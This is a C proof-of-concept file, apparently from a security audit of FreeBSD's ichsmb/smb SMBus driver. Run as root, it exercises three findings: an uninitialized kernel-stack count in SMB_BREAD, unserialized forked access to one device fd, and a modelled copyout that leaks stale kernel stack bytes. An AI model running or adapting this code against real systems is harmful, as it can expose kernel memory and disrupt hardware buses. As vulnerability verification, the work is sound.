DF-5459 / df5457_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 | /* * df5457_poc.c — pass-2 ichsmb verification suite (run as root in the guest). * * Modes: * scan QUICK-scan the bus for live slaves * dev Get Device ID over SSIF (BWRITE cmd2 -> BREAD cmd3) * uninit DF-5458: stale-stack byte drives SMB_BREAD's count gate * race <secs> DF-5459: forked processes share one fd, no serialization * model DF-5457: model the smb.c SMB_BREAD copyout epilogue * * Build: cc -O0 -o df5457_poc df5457_poc.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/types.h> #include "/usr/src/sys/dev/smbus/smb/smb.h" #define BMC7 0x20 /* smbus-ipmi (SSIF) 7-bit address */ #define DDC7 0x50 /* i2c-ddc 7-bit address */ #define S8(a) ((a) << 1) /* XMIT_SLVA wants addr<<1 | rw */ #define SSIF_REQ 2 /* write single-part */ #define SSIF_RSP 3 /* read single/start */ static int fd; static void xbread(int slave7, int cmd, char *rbuf, const char *tag) { struct smbcmd c; memset(&c, 0, sizeof(c)); c.slave = S8(slave7); c.cmd = cmd; c.rbuf = rbuf; c.rcount = 1024; /* max clamp; final value = min(1024, bcount) */ errno = 0; int rc = ioctl(fd, SMB_BREAD, &c); printf("%-34s rc=%2d errno=%2d rcount=%3d data=%02x %02x %02x %02x\n", tag, rc, rc ? errno : 0, c.rcount, (unsigned char)rbuf[0], (unsigned char)rbuf[1], (unsigned char)rbuf[2], (unsigned char)rbuf[3]); } static void xwriteb(int slave7, int cmd, char b, const char *tag) { struct smbcmd c; memset(&c, 0, sizeof(c)); c.slave = S8(slave7); c.cmd = cmd; c.wdata.byte = b; errno = 0; int rc = ioctl(fd, SMB_WRITEB, &c); printf("%-34s rc=%2d errno=%2d\n", tag, rc, rc ? errno : 0); } static void xbwrite(int slave7, int cmd, const char *d, int n, const char *tag) { struct smbcmd c; char buf[64]; memset(&c, 0, sizeof(c)); memcpy(buf, d, n); c.slave = S8(slave7); c.cmd = cmd; c.wbuf = buf; c.wcount = n; errno = 0; int rc = ioctl(fd, SMB_BWRITE, &c); printf("%-34s rc=%2d errno=%2d\n", tag, rc, rc ? errno : 0); } static void scan(void) { struct smbcmd c; int a, hit = 0; printf("-- QUICK scan 0x08..0x7a --\n"); for (a = 0x08; a <= 0x7a; a++) { memset(&c, 0, sizeof(c)); c.slave = S8(a); if (ioctl(fd, SMB_QUICK_READ, &c) == 0) { printf(" ACK 0x%02x\n", a); hit++; } } printf(" (%d live slave(s))\n", hit); } static void dev(void) { char out[1024]; /* Get Device ID: [count=2][netfn 0x06<<2][cmd 0x01] */ const char req[3] = { 0x02, 0x18, 0x01 }; printf("-- SSIF Get Device ID (slave 0x%02x) --\n", BMC7); xbwrite(BMC7, SSIF_REQ, req, 3, "BWRITE cmd=2 (SSIF req)"); usleep(150000); xbread(BMC7, SSIF_RSP, out, "BREAD cmd=3 (SSIF rsp)"); } static void uninit(void) { char out[1024]; const char req[3] = { 0x02, 0x18, 0x01 }; int i; printf("-- DF-5458: uninitialized bcount gates SMB_BREAD --\n"); printf("fresh-process BREAD (kernel stack garbage):\n"); for (i = 0; i < 3; i++) xbread(BMC7, SSIF_RSP, out, " BREAD cmd=3"); printf("dirty the kernel stack with unrelated syscalls " "(write/read of 0x10 bytes):\n"); { char tmp[16]; int fds[2]; pipe(fds); memset(tmp, 0x10, sizeof(tmp)); write(fds[1], tmp, sizeof(tmp)); read(fds[0], tmp, sizeof(tmp)); close(fds[0]); close(fds[1]); } xbread(BMC7, SSIF_RSP, out, " BREAD cmd=3 (post-dirty)"); printf("prime the response, then chain reads " "(previous bcount self-perpetuates):\n"); xbwrite(BMC7, SSIF_REQ, req, 3, " BWRITE cmd=2 (SSIF req)"); usleep(150000); xbread(BMC7, SSIF_RSP, out, " BREAD cmd=3 (primed)"); for (i = 0; i < 3; i++) xbread(BMC7, SSIF_RSP, out, " BREAD cmd=3 (chained)"); printf("DDC read (QEMU clamps count 0xFF->0) resets slot to 0:\n"); xbread(DDC7, 0x01, out, " BREAD slave=0x50 cmd=1"); xbread(BMC7, SSIF_RSP, out, " BREAD cmd=3 (after 0)"); xbread(BMC7, SSIF_RSP, out, " BREAD cmd=3 (still 0?)"); xwriteb(DDC7, 0x00, 0x00, " WRITEB slave=0x50 (depth probe)"); xbread(BMC7, SSIF_RSP, out, " BREAD cmd=3 (post WRITEB)"); } static void race(int secs) { char out[1024]; const char req[3] = { 0x02, 0x18, 0x01 }; int i, st, nkids = 4; printf("-- DF-5459: %d forked sharers of one fd for %ds --\n", nkids, secs); for (i = 0; i < nkids; i++) { pid_t p = fork(); if (p == 0) { long ok = 0, err[8] = {0}; time_t t0 = time(NULL); unsigned seed = getpid(); char ob[1024]; while (time(NULL) - t0 < secs) { struct smbcmd c; int rc, e; memset(&c, 0, sizeof(c)); switch (rand_r(&seed) % 3) { case 0: c.slave = S8(BMC7); rc = ioctl(fd, SMB_QUICK_READ, &c); e = errno; break; case 1: c.slave = S8(BMC7); c.cmd = SSIF_RSP; c.rbuf = ob; c.rcount = 1024; rc = ioctl(fd, SMB_BREAD, &c); e = errno; break; default: c.slave = S8(BMC7); c.cmd = SSIF_REQ; c.wbuf = (char *)req; c.wcount = 3; rc = ioctl(fd, SMB_BWRITE, &c); e = errno; break; } if (rc == 0) ok++; else if (e <= 7 && e > 0) err[e]++; usleep(1000); } printf(" child %d: ok=%ld EPERM=%ld ENOENT=%ld EINTR=%ld " "EIO=%ld ENXIO=%ld EAGAIN=%ld\n", getpid(), ok, err[1], err[2], err[4], err[5], err[6], err[7]); _exit(0); } } for (i = 0; i < nkids; i++) wait(&st); printf(" (parent) all children done\n"); } static void model(void) { char buf[1024]; /* smbioctl's kernel stack buffer */ int block_count = 255; /* slave-supplied, unclamped (ichsmb.c:441) */ int count_in = 32; /* best case: stale byte landed in 1..32 */ int rcount = 1024; /* user (root) requested 1024 -> clamp 1024 */ int bcount; char *ubuf = malloc(1024); memset(buf, 0xAA, sizeof(buf)); /* stale kernel stack */ memcpy(buf, "SLAVEDATA_SLAVEDATA_SLAVEDATA", 32); /* bcopy min(255,32) */ bcount = block_count; /* *count = block_count */ if (rcount > bcount) rcount = bcount; /* smb.c:327 */ memcpy(ubuf, buf, rcount); /* copyout buf, rcount */ printf("-- DF-5457 model of smb.c SMB_BREAD epilogue --\n"); printf("block_count(slave)=255 count_in(stale byte)=32\n"); printf("copyout length = %d\n", rcount); printf("initialized bytes = %d\n", count_in); printf("stale-stack bytes = %d (0xAA pattern reaches userspace)\n", rcount - count_in); { int i, leaked = 0; for (i = count_in; i < rcount; i++) if ((unsigned char)ubuf[i] == 0xAA) leaked++; printf("verified 0xAA in userspace tail: %d bytes\n", leaked); } } int main(int argc, char **argv) { const char *m = argc > 1 ? argv[1] : "scan"; fd = open("/dev/smb0", O_RDWR); if (fd < 0) { perror("open /dev/smb0"); return 1; } if (!strcmp(m, "scan")) scan(); else if (!strcmp(m, "dev")) dev(); else if (!strcmp(m, "uninit")) uninit(); else if (!strcmp(m, "race")) race(argc > 2 ? atoi(argv[2]) : 10); else if (!strcmp(m, "model")) model(); else { fprintf(stderr, "unknown mode %s\n", m); return 2; } close(fd); return 0; } |